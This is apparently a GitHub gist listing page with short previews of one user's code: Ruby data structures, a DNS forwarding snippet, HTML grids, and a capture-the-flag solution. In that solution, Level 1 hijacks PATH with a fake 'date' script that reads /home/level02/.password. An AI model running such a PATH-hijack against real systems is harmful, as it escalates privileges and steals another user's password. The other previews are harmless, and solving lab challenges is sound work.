This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Level 1: | |
cd /tmp | |
echo "cat /home/level02/.password" > date | |
chmod +x date | |
PATH=`pwd`:$PATH | |
export PATH | |
/levels/level01 | |
Level 2: | |
In javascript console before submitting the form: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Heap | |
# Specify whether max heap or min heap | |
def initialize(p, max_heap = true) | |
@arr = Array.new p | |
@max_heap = max_heap | |
build | |
end | |
def size | |
@arr.size |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Primes | |
# Initialize list of primes with 2 | |
@@primes = [2] | |
@@current_prime = 1 | |
# Reset the prime number generator | |
def self.reset | |
@@current_prime = 1 | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Sample use: | |
# Initialize a bitfield with max size | |
# b = BitField.new(32768) | |
# Add numbers | |
# b.add(5) | |
# b.add(16768) | |
# Find Numbers | |
# b.has?(5) | |
# Print the internal state of BitField | |
# b.print |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.. initilized socket at port 53 | |
data = server.recvfrom(Resolv::DNS::UDPSize) | |
sender_ip = data[1][2] | |
sender_port = data[1][1] | |
Resolv::DNS::Message::decode(data[0]) | |
sock = UDPSocket.new(Socket::AF_INET) | |
sock.connect('8.8.8.8', 53) | |
sock.send(@query.encode, 0) | |
reply = sock.recv(Resolv::DNS::UDPSize) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# RangeCountTree | |
# A bst variant for fast retrieval of count of ranges which are intersecting given n ranges | |
# | |
# Creator : Shadab Ahmed | |
# | |
# Each node stores a range and the count of intervals which intersect with the range. | |
# | |
# We just follow these rules: | |
# 1. Any range which is greater than the current range is stored in the right subtree | |
# 2. Any range which is smaller than the current range is stored in the left subtree |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="rumor"> | |
<div class="dropdown"> | |
<label>Algorithm:</label> | |
<select id="algo"> | |
</select> | |
| |
<label>Number of People:</label> | |
<input id="count" type="text" value="60" name="count"/> | |
<label>Speed:</label> | |
<select name="speed" id="speed"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'graphviz' | |
class LeveledBinaryTree | |
Node = Struct.new(:weight, :str, :left, :right) | |
attr_accessor :levels, :root | |
def initialize(clear_last_level = true) | |
@root = Node.new(1, '(') | |
@levels = {0 => [@root]} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<section> | |
<table class="grid"> | |
<colgroup><col><col><col> | |
<colgroup><col><col><col> | |
<colgroup><col><col><col> | |
<tbody> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<section> | |
<table class="grid"> | |
<tbody> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> | |
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td> |
OlderNewer